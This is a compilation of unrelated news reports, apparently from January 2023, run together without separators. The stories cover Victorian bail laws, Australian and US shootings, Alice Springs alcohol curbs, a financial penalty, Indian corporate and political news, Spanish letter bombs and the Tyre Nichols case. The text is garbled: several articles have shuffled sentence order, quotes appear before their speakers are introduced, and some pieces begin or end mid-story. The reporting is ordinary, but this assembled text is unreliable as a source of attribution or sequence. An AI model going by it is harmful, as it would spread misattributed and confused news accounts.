Victoria has some of the most dangerous and discriminatory bail laws in the country that are removing women from their families and funnelling them into prisons to be warehoused on remand, she said. In a submission to the Yoorrook Justice Commission, human rights organisation Liberty Victoria noted that in 2020, the rate for Aboriginal adults in custody was about 1837 per 100,000 Victorian Aboriginal adults, while the general adult imprisonment rate for Victorian adults was 135. Liberty Victoria recommended the removal of reverse onus tests, so all bail decisions are made based on unacceptable risk. Law Institute of Victoria president Tania Wolff said the Bail Act should be amended so only those who pose a specific risk to the safety of another person or those who are a flight risk are denied bail.

Loading Victorias bail laws were passed against a backdrop of intense political debate and commentary, and the 2018 state election was largely fought on law and order. Labor hailed the laws as the most onerous in the country. Government sources said many senior ministers supported the reforms, but they conceded the government was reluctant to embrace change in the lead-up to last years election because of the sensitivity of law and order issues. Minister Ben Carroll said on Tuesday the government would continue to look at ways to improve the bail laws and conceded they had more work to do when it came to incarceration rates of women and Indigenous prisoners. Were always looking at protecting the most vulnerable, but also ensuring that those that break the law are held accountable, he said.

Loading Shadow Attorney-General Michael OBrien said the opposition would consider sensible bail reform because of a backlog in the courts and overcrowding in prisons but that the government should not risk community safety by loosening them too much. Given the horrific crimes which led to tighter bail laws  including Bourke Street  Labor must not risk community safety with any potential changes, he said. Victorian Greens leader Samantha Ratnam said Aboriginal and First Nations Australians were being imprisoned at an appallingly high rate in Victoria. Unless the Victorian Labor Government addresses bail reform now, Victorias enduring legacy will be one of over-imprisonment and racial inequality.
A notorious underworld figure was shot several times in the legs in front of two young children while stopped at a busy suburban rail crossing last week.

It is the third time in 18 months that unknown gunmen have targeted Douglas Mikhaeel, who has been feuding with a host of organised crime players including Middle Eastern and southern European gangs, outlaw motorcycle clubs and his former associates in the Notorious Crime Family.

An underworld figure was shot in front of two children on Friday. Credit: Paul Harris

Police say the 27-year-old was stopped in his car at boom gates at the Deer Park train station level crossing on Mt Derrimut Road when he was ambushed at 9.12pm on Friday.

The assailants opened the drivers door and shot Mikhaeel at least three times while his partner was in the passenger-side seat and his young niece and nephew were in the back. There were other cars waiting to cross the tracks.
Flood victims in Western Australias Kimberley region are being targeted by scammers as authorities attempt to fill empty supermarket shelves.

The scam uses an image of a Serbian politician and contains a link to a phoney Facebook page promising victims $20,000 but actually intended to steal personal information.

The floods that hit the Kimberley earlier this year are the worst the region has seen. Credit: DFES/Fitzroy Crossing Police

Eventually, the scammers request fees be paid up-front to receive the funds.

WA Commerce Minister Sue Ellery said the messages appeared to come from a friend who was encouraging the target to contact an agent because they and others had already received the payment.
We know that when theres extra money that comes into circulation without real due diligence as to what the potential consequential impacts may be, it invariably ends up being a police problem, he said. Loading During an interview with Sky News, Albanese was asked whether communities could be subjected to a total alcohol ban if thats what a review found. Well, thats an option that we completely have said is there on the table, Albanese said. However, he blamed the previous Coalition government for allowing the laws governing the bans to lapse. Minister for Aboriginal Australians Linda Burney said on Wednesday morning she had been pushing the Northern Territory government for months to get tougher on alcohol following persistent calls from Alice Springs community leaders to act.

The morning after the federal and territory governments jointly announced an overhaul of alcohol sales to curb rising crime in the central Australian town, Burney told ABCs Radio National Breakfast on Wednesday said the territory government had admitted they clearly got it wrong in not responding sooner. Federal laws restricting alcohol in some communities were allowed to lapse in July. Alcohol-driven crime has risen dramatically in the territory as liquor became legal in some areas for the first time in 15 years. The Central Australian Aboriginal Congress wrote to Burney about violence and alcohol on June 9, shortly after the minister was sworn in, and several other Indigenous groups have been calling for bans ever since. Burney said shed been in talks with the Northern Territory government for months, at least as far back as the Garma festival in July. Asked whether she had told them they needed to be tougher on alcohol, Burney responded, yes, I have expressed that there needs to be some very real thought put into alcohol restrictions.

Im not going to get into whether theyve taken too long or they havent, but clearly if you talk to people in Alice Springs, the answer might be yes, Burney said. Burney said she deeply believed that, had a Voice to parliament already been in place, then the crime surge in Alice Springs would not have reached the levels that it had. It is wrong to think the issue out here is just alcohol, there has been neglect for 10 years, she said.

On top of an existing restriction on Sunday alcohol sales, bottle shops will be banned from selling take-away alcohol on Mondays and Tuesdays, while trading hours for takeaways would be reduced on the remaining days, and transactions would be limited to one per person, per day. Prime Minister Anthony Albanese said on Tuesday the government would also consider the reintroduction of alcohol bans in the Northern Territory under an opt-out situation rather than the current rules, which allow communities to opt in to restrictions, following the lifting of federal legislation in July.

But the territorys chief minister, Natasha Fyles, told Radio National Breakfast she potentially wanted to hold a formal election on future alcohol bans in the territory, adding she wanted to make sure we have all voices heard. The Central Australian Aboriginal Congress office where Prime Minister Anthony Albanese is holding meetings to discuss crime and alcohol-fuelled violence in Alice Springs. Credit: Kate Geraghty She said the government would be putting in an alcohol management plan for the whole of Central Australia, which could include restrictions in remote communities. Education Minister Jason Clare told Nines Today on Wednesday morning: Youve got a serious problem in the Alice, and its fuelled by alcohol. Clare said alcohol abuse was only a symptom of a bigger problem in crime-plagued Alice Springs.
Alcohol sales will be subject to immediate curbs across the Northern Territory in a step towards more sweeping bans within a week, after Prime Minister Anthony Albanese flew to Alice Springs to respond to a surge in violence ravaging Indigenous communities.

The prime minister shelved the prospect of federal police being sent in as he outlined the urgent changes alongside Northern Territory Chief Minister Natasha Fyles late on Tuesday, just hours after she had played down the prospect of imposing new alcohol bans.

These are complex problems, and they require a full solution, which wont be immediate, which require different levels of government to work together to that end, Albanese said during a press conference following an emergency meeting with federal, territory and local leaders.

On top of an existing restriction on Sunday alcohol sales, bottle shops will be banned from selling take-away alcohol on Mondays and Tuesdays, while trading hours for takeaways would be reduced on the remaining days, and transactions would be limited to one per person, per day.
Los Angeles: Lost in the aftermath of the Monterey Park, California, ballroom dance hall shooting that left 11 people dead is an alarming fact: it took five hours for authorities to alert the public that the gunman was on the loose.

Even after the 72-year-old shooter brought a submachine gun-style weapon into another nearby dance hall about a half-hour later, a potential attack thwarted by a hero who grabbed the weapon and chased the man away, it would be hours more before police held a news conference to announce the suspect was still at large.

Police stand guard near the ballroom shooting in Monterey, California, in the early hours of Sunday. Credit: AP

Experts say the weekend mass shooting that sent fear through Los Angeles-area Asian American communities highlights the lack of national standards for notifying the public, and the need for an aggressive alert system  similar to Amber alerts  that would immediately set off alarms on mobile phones in surrounding areas and post warnings on highway signs.

Five hours is kind of ridiculous, said Chris Grollnek, an expert on active-shooter tactics and a retired police officer and SWAT team member. This is going to be a really good case study. Why five hours?
Half Moon Bay, California: Seven people were killed in two related shootings at agricultural facilities in a California coastal community south of San Francisco, marking the states third mass killing in eight days, including Saturdays attack at a dance hall that killed 11 during Lunar New Year celebrations.

Officers arrested a suspect in Mondays (Tuesday AEDT) shootings, 67-year-old Chunli Zhao, after they found him in his car in the parking lot of a sheriffs substation, San Mateo County Sheriff Christina Corpus said.

Police at one of the crime scenes for the shooting at Half Moon Bay. Credit: AP

Four people were found dead and a fifth injured from gunshot wounds at a farm, and officers found three other people killed at another location several kilometres away, the Sheriffs Office said. The killings occurred on the outskirts of Half Moon Bay, a city about 48 kilometres south of San Francisco. Corpus said the two locations were nurseries, and it wasnt immediately clear how they were connected.

The new year has brought a shocking string of mass killings in the US including three in California since January 16, according to a database compiled by The Associated Press, USA Today and Northeastern University. The database tracks every mass killing  defined as four dead not including the offender  committed in the US since 2006.
Latest News Have mortgage rates peaked? There's potential hope for homeowners facing the fixed-rate cliff, banking expert says

ubank aims to increase broker distribution Targets home loans for PAYG customers

Home finance companies General Commercial Group Pty Ltd (formerly known as Urban Commercial Group) and Eden Capital (Australia) Pty Ltd (formerly known as Southside Lending) have each been penalised $50,000 by the Federal Court for failing to cooperate with the Australian Financial Complaints Authority (AFCA).

General commercial director Dale Brendan Heremaia and his son, Eden Capital director Benjamin Eden Heremaia, were ordered to pay $30,000 and $20,000 respectively for their roles in the misconduct.

The court outcome means for the next 12 months both companies are restrained from engaging in credit activity and the Heremaias are restrained from being involved in any business carrying on credit activity. Eden Capital will be allowed to collect payments on existing loans.

Under an AFCA determination General Commercial also failed to pay over $11,000 to complainants.

Despite being members of AFCA, actions were taken to break the law by threatening to sue complainants, as well as taking legal proceedings against complainants and against an AFCA staff member personally, said ASIC commissioner Danielle Press, according to information released by ASIC on January 24.

As directors, Dale and Benjamin Heremaia had a responsibility to make sure their companies complied with AFCAs processes, but instead, they went out of their way to avoid doing so.

In response to complaints made about their conduct, both companies were found to have repeatedly refused to provide documents and information to AFCA when requested and harmed AFCA staff by subjecting them to inappropriate and unprofessional behaviour. Further, General Commercial was found to have:

Failed to pay an AFCA determination of $11,492.71

Commenced legal proceedings against an AFCA staff member after that staff member requested documents related to a complaint

Threatened AFCA complainants with legal proceedings unless they withdrew their complaint, and

Along with Eden Capital, commenced legal proceedings, via its parent company, Miravo Pty Ltd, against AFCA complainants in the Queensland Civil and Administrative Tribunal.

The Federal Court determined that the conduct of General Commercial and Eden Capital amounted to a breach of their obligation under their Australian credit licences to act efficiently, honestly and fairly and the obligation of licensees to cooperate with AFCA.

This conduct continued over a lengthy period, it was not inadvertent and it undermined the effective operation of AFCAs processes and the resolution of the complaints by the consumers, said Justice Downes when handing down the penalty.

The defendants made admissions regarding the misconduct, agreed the penalty amounts and agreed to pay ASICs costs.

ASIC said General Commercial held a credit licence from June 28, 2018, until March 11, 2021, when ASIC cancelled its licence on a public interest basis that it was no longer a member company of the AFCA Scheme.
With the West facing economic recession, job losses happening and while the Indian economy is predicted to grow, "Back to Bharat" is gaining ground in the executive placement segment, said a top official of the human resource (HR) groups Ma Foi and the CIEL.

He also said the CIEL is looking at five acquisitions in the HR space of which one of them is a listed company.

"The CIEL HR Services is planning to raise Rs 200 crore - Rs 24 crore from private placement and Rs 176 crore from private equity funds. The funds will be used for acquisitions," K. Pandiarajan, Executive Chairperson and Director - Ma Foi Group & CIEL Group told media here.

To a specific query he said one of the target companies is a listed entity with which discussions are on.

The CIEL HR had acquired 76.33 per cent stake in Next Leap Career Solutions Private Limited (Brand name: Jombay).

Pandiarajan also said CIEL HR plans to come out with a Rs 650 crore initial public offer (IPO) by the end of 2023.

Also Read India jobless rate rises in Oct led by sharp rise in rural unemployment CIEL HR acquires talent assessment company, plans IPO in Q2 of FY24 CIEL Group makes 'strategic investment' in Next Leap Career Solutions 10 mn apprenticeships in 10 yrs: What India needs to solve its unemployment Growing unemployment: Battle of two parallel realities Ford plans to cut 3,200 jobs in Europe; union says, 'vowing a fight' Honda Motorcycle set to join two-wheeler EV race by March next year Maruti Suzuki to recall 11,177 Grand Vitara SUVs to fix seat belt defect OEMs push up EV prices five months into FAME subsidy halt by Centre Automakers focus on low-cost battery powered SUVs in budding EV market

According to Pandiarajan, the 'Back to Bharat' trend is gaining ground in the executive placement segment.

"People with research and development (R&D) background in the electric vehicle (EV) segment and those in hitech sectors are in good demand here," he said.

According to Pandiarajan, CIEL HR will be creating an digital platform to onboard the unorganised players in the HR segment accounting for about 80 per cent of the Rs 1.45 lakh crore market.

The 'uberisation' of the HR outfits will give the customer companies the comfort of legal compliance by the CIEL HR partners.

--IANS

vj/shb/
United States authorities claim that Russian intelligence officers were responsible for directing a Russian White supremacist group to conduct a letter-bombing campaign in Spain last year.

The attacks targeted the prime minister, the American and Ukrainian Embassies, and the Spanish defense ministry. Despite the statements made by American officials, Spanish authorities have yet to make any arrests for the horrific attacks that injured one Ukrainian Embassy employee.

Spanish Letter Bombing

One detail revealed was that the attacks were somehow related to Spain's decision to support Kyiv amid its war with Russia. Some details regarding the incidents still need to be clarified, including how the campaign was directed and carried out exactly. Furthermore, it took time to be clear how much knowledge, if any, the Kremlin or Russian President Vladimir Putin had of the attacks.

But US authorities now believe that the bombings were likely made as a warning shot to European governments that gathered to support Ukraine. As per CNN, a US State Department Spokesperson did not comment on the issue, saying that they were matters involving leaked intelligence or active law enforcement investigations.

The spokesperson added that they condemned any attempts by entities seeking to harm and intimidate government officials and foreign embassies. The reveal comes as American officials anticipate Russia to continue hiring proxy groups to drive up fear of potential terrorist attacks.

In 2020, the State Department designated the White supremacist group, the Russian Imperial Movement (RIM) as a global terror organization. Authorities believed the group had connections to Russian intelligence agencies and was previously used as a proxy force. However, such accusations were not proven due to a lack of clear observation inside the RIM.

However, the mere possibility of the Russian government having control of a proxy force that appears to be involved in the attacks is likely meant to pressure US President Joe Biden's administration to name Moscow as a state sponsor of terrorism.

Read Also: North Korea's Uranium Mine Collapse

Involvement of Russian Intelligence

In late November and early December of last year, six letter bombs were sent to various sites in Spain, most of which were in Madrid and included the official residence of Prime Minister Pedro Sanchez, according to the New York Times.

Furthermore, one of the letter bombs was sent to a weapons maker in Zaragoza, Instalaza, in the northeastern parts of Spain. It manufactures grenade launchers that the country provides to Ukraine. Another was sent to the Torrejon de Ardoz Air Base outside of Madrid.

At the time of the incidents, Spanish Deputy Interior Minister Rafael Perez said that the letters were apparently sent from within the country. However, he noted that the conclusion was drawn from early visual inspections and was not based on an in-depth technical report.

Spanish Defense Minister Margarita Robles was visiting Ukraine to support another aid package when the letter bomb was sent to her office. Spanish authorities were initially tight-lipped about that particular package, arguing that they did not want to provide Russian forces with sensitive information, said Al Jazeera.

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According to the report, Gautam Adani's ranking has now slipped to the fourth in the world's richest list and Amazon's top boss Jeff Bezos is now the third world's richest man.



Jeff Bezos is the founder of Amazon, the world's biggest online retailer. Bezos' Seattle-based company sells electronics, household goods and other products through its flagship website. He also owns space exploration company Blue Origin.

Gautam Adani, billionaire and richest Indian and Asian in the world saw a slip in his ranking in the Bloomberg Billionaires Index, reported LiveMint.
IPO-bound fintech platform BharatPe on Tuesday announced three key appointments, along with hiring Ambuj Bhalla as its Chief Information Security Officer (CISO), as it fights a legal battle with former Co-founder Ashneer Grover in the Delhi High Court.

BharatPe also announced the appointment of Rahul Bhatia as Head of Internal Audit and Ravinder Oberoi as Head of Compliance.

"As we focus on getting IPO ready, it becomes essential for us to ensure that data privacy, cyber security, corporate governance and compliance are given the highest priority," said Shashvat Nakrani, Co-Founder, BharatPe.

"I look forward to collaborating with all the three leaders as we build BharatPe as a brand trusted by millions across the country," he added.

Bhalla has close to two decades of experience with brands like IndiGo Airlines, Reserve Bank Information Technology (ReBIT) and Bharti Airtel, with a strong focus on information security, as well as data privacy and protection.

Bhatia has about 17 years of experience in the domain of governance, risk and compliance (GRC) in the financial services sector while Oberoi is an industry veteran with close to 23 years of experience in financial services, banking as well as insurance companies.

Also Read Ashneer Grover saga: A timeline of how things went wrong at BharatPe Delhi HC summons Ashneer Grover, wife and kin over BharatPe's complaint BharatPe files arbitration to claw back Ashneer Grover's 1.4% shares BharatPe founder Bhavik Koladiya quits, months after Ashneer Grover's exit Zomato should have acquired Swiggy than Blinkit, says Ashneer Grover Jio announces largest-ever launch of 'True 5G' services across 50 cities Poonawalla Fincorp stock jumps over 6% on strong quarterly results Maruti Suzuki begins probe into alleged purchasing dept wrongdoings Sentiment in realty sector drops in Dec qtr but remains positive: Report Blackstone in talks with Bain to sell $480 mn stake in top REIT: Report

Founded in 2018, BharatPe is currently serving 1 crore merchants across more than 400 cities.

The company is a leader in UPI offline transactions, processing over 18 crore UPI transactions per month (with an annualized transaction processed value of over $24 billion in payments).

The company has facilitated the disbursement of loans close to Rs 8,500 crore to over 450,000 merchants.

The fintech platform also received in-principle authorisation from the Reserve Bank of India (RBI) to operate as an online Payment Aggregator (PA).

Currently, the company is involved in a legal battle with its former Co-founder and managing director Grover, after suing him and his family for allegedly siphoning off company funds worth Rs 88.6 crore.

The Delhi High Court this month asked Grover's counsel to advise his client (Grover) to maintain decorum following his termination from the fintech company while hearing a plea filed by the company seeking orders to restrain Grover and his kin from making defamatory statements against the company, and other reliefs.

--IANS

na/ksk/


The sources said the lenders have maintained that the condition precedent mentioned in the resolution plan of the consortium has not been met. And therefore, the plan is not valid. Lenders of debt-ridden Jet Airways on Tuesday filed an appeal in the National Company Law Appellate Tribunal (NCLAT) against implementation of the resolution plan by the Jalan-Kalrock consortium, according to sources.



On January 13, the National Company Law Tribunal (NCLT) had allowed the application of Kalrock-Jalan to implement its resolution plan for Jet Airways. NCLT permitted infusion funds into the grounded airline for its revival. The lenders want the plan to be circled back to the committee of creditors (CoC) for fresh consideration, the sources said.



Jet Airways shut operations in April 2019 due to a financial crisis. The airline then underwent a resolution process under the Insolvency and Bankruptcy Code (IBC). NCLT, in its order, said, It goes without saying that the plan approved by this tribunal has to be implemented without any modification much less than on satisfaction of any other undertaking. And thus, the effective date and completion date of condition precedent under the plan shall have to be read as May 20, 2022.

Also Read Jalan-Kalrock consortium looks to move SC over Jet Airways staffers' dues NCLT clears transfer of Jet Airways' ownership to Jalan-Kalrock Consortium NCLT allows Kalrock-Jalan consortium to take control of Jet Airways Jet Airways revival: Jalan-Kalrock accept bank call to infuse more capital Lenders purposely delaying Jet Airways revival: Jalan-Kalrock tells NCLT Indus Towers makes Rs 2,298-crore provision for Vodafone Idea receivables Pilot's licence suspension over passenger incident 'excessive': Air India Amazon adds prescription drug discount programme to health care business No coercive action against Jet Airways founder, wife till Jan 31: HC to ED Citi names Aditya Bagree markets head for India, South Asia cluster



In October 2022, the consortium moved the tribunal seeking its confirmation for the fulfilment of five conditions  the validation of air operator certificate, submission of business plan, slot allotment approval, international traffic rights clearance, and demerger of the ground-handling business. The revival plan submitted by the consortium was cleared by Jets CoC in October 2020. The NCLT approved the plan in June 2021.



According to the revival plan, the consortium proposed a total infusion of Rs 1,375 crore, including Rs 900 crore towards capex and working capital. And also, Rs 475 crore for settling claims of the creditors. The lenders, however, opposed the application, stating that the conditions precedent were not fulfilled, and opposed the transfer of control.

An appellate tribunal order last October on the payment of over Rs 200 crore in gratuity and provident fund to the airlines former employees has been a bone of contention between the two sides. The issue is now before the Supreme Court.


The programme She Feeds the World focuses on strengthening the role of small-scale women producers across three dimensions: economic, social and environmental. PepsiCo Foundation and CARE on Tuesday announced the expansion of their global She Feeds the World programme to India in West Bengal, home to the companys first food factory in the country.



Through an $18 million, five-year global partnership between the PepsiCo Foundation and CARE International, She Feeds the World is already supporting female farmers in Egypt, Uganda, Peru, Thailand and Vietnam. In India, it aims to reach more than more than 48,000 women, men and children and indirectly benefit 1,500,000 individuals in West Bengal. The programme was launched in the presence of West Bengal agriculture minister, Sobhandeb Chattopadhyay. At the economic level, it would build capabilities for the small-scale farmers; socially, the project aims to promote equitable access to knowledge, resources and inclusive markets and from an environmental perspective, it would tackle soil, water, biodiversity and carbon footprint issues.



West Bengal is where we found a home for our first food factory in the country. Over the decades, we have grown to become one of Indias largest convenient food and beverage companies. Speaking on the occasion, Roberto Azevedo - chief corporate affairs officer and chairman of board of directors, PepsiCo Foundation, pointed out that the company has had a special relationship with India going back more than 30 years.

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PepsiCo, which set up its factory in West Bengal 2004, already has a track record of engaging with women in the state as part of the PepsiCo-USAID Women Farmer Economic Empowerment Program. Today, we are proud to renew this commitment to the women farmers of West Bengal. A commitment that we hope will ripple beyond the state and across the country, building a network of climate-resilient, gender diverse, economically prosperous rural farming systems, he added.



PepsiCo in India works with over 27,000 farmers in 14 states in the country and Ahmed ElSheikh, president, PepsiCo India mentioned that out of these over 65 per cent (17,500) of farmers were from West Bengal. With the help of this initiative, PepsiCo has trained over 1,500 women farmers since 2019 on potato agronomy and sustainability; seven womens groups piloted a shared land-lease programme. It is expected that the programme will impact more than 300,000 women through direct and community engagement.

It may be mentioned that West Bengal has about 96 per cent small and marginal farmers with small landholding. The next state where the women farmer economic empowerment programme could be rolled out is Uttar Pradesh.






In comparison, the housing finance company (HFC) had clocked a net profit of Rs 188 crore during the same quarter of FY22 and Rs 263 crore in July-September of FY23. On Tuesday, the HFC's stock went up 4.81 per cent to settle at Rs 556.60 on the BSE. The net profit of PNB Housing Finance rose 43 per cent year-on-year (YoY) to Rs 269 crore during the third quarter (October-December) of FY23 on the back of improved margins and net interest income (NII).



As on December 31, 2022, Rs 2,037 crore has been restructured under the RBIs (Reserve Bank of Indias) resolution framework for Covid-related stress, it added. Total income during the October-December quarter was Rs 1,797 crore against Rs 1,496 crore a year ago, the lender said in an exchange filing.



The mortgage lender said it disbursed loans worth Rs 3,425 crore in Q3 of FY23. It is growth of 21 per cent from Rs 2,828 crore disbursed in Q3 of FY22. The disbursements were predominantly in the retail segment. The banks asset quality showed an improvement with gross non-performing assets (gross NPAs) as a percentage of gross advances dropping to 4.87 per cent in Q3 from 6.06 per cent in Q2. Net NPAs stood at 3.22 per cent from 3.59 per cent during the comparable period.

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We continue to focus on loan asset growth and asset quality improvement while being profitable, he added. NII of the HFC grew by 67 per cent YoY to Rs 734 crore in the reporting quarter. Girish Kousgi, managing director (MD) and chief executive officer (CEO) of PNB Housing Finance said in the affordable business, the HFC has expanded its presence to 82 branches.



The outstanding loan book rose to Rs 58,034 crore at the end of December 2022 compared to Rs 57,845 crore in the previous year. It also expanded sequentially from Rs 57,832 crore at the end of September 2022. Net interest margin (NIM) stood at 4.68 per cent in Q3, up from 4.14 per cent in the previous quarter, the company said.

Capital adequacy ratio of the company was at 25 per cent as on December 31, 2022, comfortably above the regulatory requirements.




This includes training and certification in the ITIL 4 IT management and PRINCE2 project management global best practices. With this agreement, TeamLease EdTech aims to upskill the Indian workforce to meet high-speed growth in IT and industry. TeamLease Edtech, a learning solutions company, has partnered with Greek edtech unicorn PeopleCert to deliver professional management knowledge and skills to companies and universities in India.



Based in Mumbai, TeamLease EdTech provides learning solutions to more than 500,000 students and has partnerships with 40 Indian universities across 16 states. It further supports skills initiatives and degree apprenticeships for 5000 corporates and manages over 200 degrees, diplomas, and certificate programmes. As IT employees move through their career, they need to acquire additional skills and reskill themselves as part of their career management. With our partnership with PeopleCert, we can solve this problem for IT companies to ensure that the skillsets of employees remain relevant and up to date through our certification programs, Jaideep Kewalramani, Chief Operating Officer, TeamLease EdTech told Business Standard.



As organisations worldwide are facing significant challenges in digital transformation, Indian IT companies can respond by ensuring the entire talent pool is enabled to help their customers in their journey through using ITIL and PRINCE2 among others, said Vivek Joseph, PeopleCert business development head  APAC. Corporates are demanding a skilled talent pool, so ITIL and PRINCE2 help in meeting the demand. Meanwhile, university students can gain appropriate entry-level skills to become job ready  and we continue working with them after they join the corporate world to upskill and reskill until theyre ready to become managers, Kewalramani added.

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TeamLease EdTech, with its network of corporates and universities, is well placed to add value to the entire ecosystem via a partnership with PeopleCert, working closely together to harness the value of global best practices, he added.


The US has reaffirmed that the pace, the scope and the character of any dialogue between India and Pakistan is a matter for the two countries, asserting that Washington has always supported talks between the two neighbours to ensure peace in South Asia.

Responding to a question raised by a Pakistani journalist on Prime Minister Shehbaz Sharif's recent remarks seeking peace talks with India, US State Department Spokesperson Ned Price on Monday said that even though the United States wants to see regional stability in South Asia, its relationships with Pakistan and India "stand on their own".

"We've long called for regional stability in South Asia. That's certainly what we want to see. We want to see it advanced. When it comes to our partnership our partnerships with India and Pakistan, these are relationships that stand on their own. We do not see these relationships as zero-sum," Price told reporters at his daily news conference.

He further said that the "pace, scope, the character of any dialogue between India and Pakistan is a matter for those two countries."



In a recent interview with a UAE media outlet, Prime Minister Sharif expressed a desire for talks with India. However, the Prime Minister's Office later said talks are not possible without India revoking its 2019 actions on Kashmir.

Commenting on Sharif's remarks, India said it always wanted normal neighbourly ties with Pakistan but there should be an atmosphere free from terror and violence for such a relationship.

India has been maintaining that it desires normal neighbourly relations with Pakistan while insisting that the onus is on Islamabad to create an environment free of terror and hostility for such an engagement.

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The ties between India and Pakistan came under severe strain after India's warplanes pounded a Jaish-e-Mohammed terrorist training camp in Balakot in Pakistan in February 2019 in response to the Pulwama terror attack.

The relations further deteriorated after India in August 2019 announced withdrawing special powers of Jammu and Kashmir and bifurcation of the state into two union territories.
The family of Tyre Nichols, the Black man who died following an arrest made by police officers for recklessly driving his vehicle, has viewed body camera footage of the encounter and called the incident "appalling."

The video showed Nichols crying for his mother three times as law enforcement personnel beat him, all within 100 yards of his home. The 29-year-old victim was pronounced dead in a hospital only three days after the encounter with Memphis police officers, who have since been fired from the department.

Tyre Nichols Incident Footage

While the video was not yet released to the public, officials have already screened the footage for the Nichols family. The victim's family said he died of kidney failure and cardiac arrest on Jan. 10, 2023. In a statement, a police spokesperson noted that the officers who pulled Nichols pursued the man when he fled on foot.

The victim's stepfather, Rodney Wells, said that the things he saw on the video were "horrific," adding that no father or mother should ever have to see something like it. As per the Washington Post, he was calling for justice for his stepson's death.

The police department also said that it would reveal video footage of the encounter to the public after the Nichols family has had a chance to review it. In a Monday statement, Police Chief Cerelyn Davis said that prematurely releasing the video could adversely impact the criminal investigation and the judicial process regarding the case.

The 29-year-old victim was a father to a four-year-old boy, a skateboarder similar to his father, and worked an afternoon-evening shift as a FedEx employee. After watching bodycam footage of the incident, Wells said his stepson only fled officers at the traffic stop because he was afraid for his life at the hands of law enforcement personnel.

In a statement, Attorney Benjamin Crump, who is representing the Nichols family in the case, said that the actions of the police, as seen in the video, were "deplorable," "heinous," and "violent." Also, co-counsel Antonio Romanucci described the victim as a "human pinata" for the police officers.

Read Also: US Sees Horrific Mass Shootings in Early 2023

Police Brutality

The family's attorneys said that Nichols was the victim of an "unadulterated, unabashed, nonstop beating." They argued that the killing was similar to the brutality seen when Rodney King died at the hands of police officers, according to NBC News.

Romanucci argued that the body cam footage showed that police officers conducted multiple uses of force. On the other hand, Crump said that the incident was once again proof of what Black and brown people suffer at the hands of law enforcement personnel.

Nichols' mother, Ravaughn Wells, was seen visibly and audibly upset during a news conference that was held following the viewing of body cam footage. She said that her son was trying to get home and was only two minutes away from their home.

Crump also noted that Nichols was tased, sprayed, and restrained during the encounter with police officers. He added that authorities promised to release video footage of the incident in one to two weeks, said NPR.

Related Article: Atlanta Protest Update

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The high-stakes Delhi mayor election was stalled for the second time this month as the House was adjourned till further notice by the LG-appointed presiding officer following a ruckus by some councillors. The adjournment prompted councillors, 13 MLAs and three Rajya Sabha MPs of the Aam Aadmi Party (AAP) to sit on a "dharna" for nearly four hours against the BJP at the Civic Centre, demanding immediate polls.

Both BJP and AAP members held each other responsible for the derailment of the proceedings.

The day began with the oath-taking of 249 councillors amid unusual heavy deployment of civil defence personnel and marshals. Paramilitary personnel, who were equipped with anti-riot equipment, were also deployed outside the House.

Soon after the oath-taking exercise was completed, the House was adjourned for a 15-minute break.

When the House reconvened, disruption ensued amid sloganeering by BJP and AAP members who came face-to-face, following which Presiding Officer Satya Sharma, a BJP councillor, adjourned the House until further notice, angering AAP councillors. Some BJP councillors left their seats and raised slogans.

AAP MLA Durgesh Pathak, who along with his party's members sat on a "dharna" in the House, demanded that BJP councillors return to the House for the mayoral elections.

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Refusing to vacate the house, the AAP councillors spent their time singing religious hymns and patriotic songs. Some of the songs were: 'Achyutam Keshavam' and 'Raghupati Raghav Raja Ram'.

AAP members called off their "dharna" around 7.30 pm amid chants of 'Bharat Mata ki Jai' and 'Arvind Kejriwal Zindabad'.

Rekha Gupta, the BJP's mayoral candidate and a three-time councillor from Shalimar Bagh, also staged a "dharna" at the Civic Centre. Gupta claimed that the AAP started the ruckus that led to the adjournment of the House.

Senior AAP leader and Deputy Chief Minister Manish Sisodia asked the BJP to accept its defeat in the MCD polls and help ensure smooth conduct of mayoral elections.

"Everyone saw the drama of the BJP. The public had got fed up with their rule in the MCD. They gave mountains of garbage to Delhi and ruined the entire capital," Sisodia said.

"First, they avoided the MCD elections and when the public showed them the door, they are running away from the election of mayor," he said.

Delhi BJP MP Manoj Tiwari alleged the AAP was running away from the elections of mayor and deputy mayor despite having majority in the MCD.

The North East Delhi MP also alleged that AAP leaders, including party councillors, misbehaved with BJP members.

This is the second time within 15 days that a ruckus has led to the adjournment of the House and the mayor could not be elected.

After the 15-minute adjournment on Tuesday, BJP councillors went towards the benches where AAP councillors were sitting and raised slogans. A few councillors from both parties then entered into a heated exchange on one of the aisles of the House.

This prompted Presiding Officer Sharma to adjourn the House till a further date. "A House cannot run like this. This House is adjourned till next date," Satya Sharma said.

Enraged by the move, the AAP accused the saffron party of adjourning the House because it does not have the number for the mayoral polls.

"The BJP doesn't have numbers that's why he has adjourned the House. All our councillors are sitting here. If you have guts then come and get voting done. Respect the mandate of the people of Delhi," Pathak had said earlier in the day.

Security personnel were deployed inside the municipal House, the Civic Centre premises and even the Well to avoid a repeat of the chaos seen during the last meeting on January 6.

AAP Rajya Sabha MP Sanjay Singh alleged that this is a very dangerous trend started by the BJP. "This is an insult to the mandate of the people and democracy," he said.

AAP MLA Atishi said that the BJP lost the election but still they are not accepting the mandate. "Have some respect for the Constitution. We appeal again that please get the elections done soon," she told reporters after AAP members ended their "dharna" inside the House.

On January 6, the maiden meeting of the newly elected MCD House was adjourned without electing the mayor and the deputy mayor amid loud protests by AAP councillors over the presiding officer's decision to administer oath to the 10 aldermen first.

Though aldermen do not have the right to vote in the mayor polls, they hold significant power and play an important role in the elections of the standing committees and MCD in-house and ward committee meetings.

The civic polls were held on December 4 and the counting of votes took place on December 7.

The AAP had emerged as a clear winner in the polls, bagging 134 wards and ending the Bharatiya Janata Party's (BJP) 15-year rule in the civic body. The BJP won 104 wards to finish second while the Congress won nine seats.

Shelly Oberoi is the AAP's contender for the post of mayor. The BJP has nominated Rekha Gupta. The nominees for the post of deputy mayor are Aaley Mohammad Iqbal and Jalaj Kumar (AAP) and Kamal Bagri (BJP).

Besides the mayor and the deputy mayor, six members of the MCD's standing committee are also slated to be elected during the municipal House.

The post of mayor in the national capital sees five single-year terms on a rotation basis, with the first year being reserved for women, second for open category, third for reserved category, and the remaining two again for the open category.

Besides the mayor and the deputy mayor, six members of the MCD's standing committee are also slated to be elected during the municipal House.

Delhi will thus get a woman mayor this year. The voters for the election of the mayor are 250 councillors, seven Lok Sabha and three Rajya Sabha MPs from Delhi and 14 MLAs nominated by the Legislative Assembly.

The Delhi Assembly Speaker has nominated one BJP MLA and 13 AAP MLAs to the MCD.
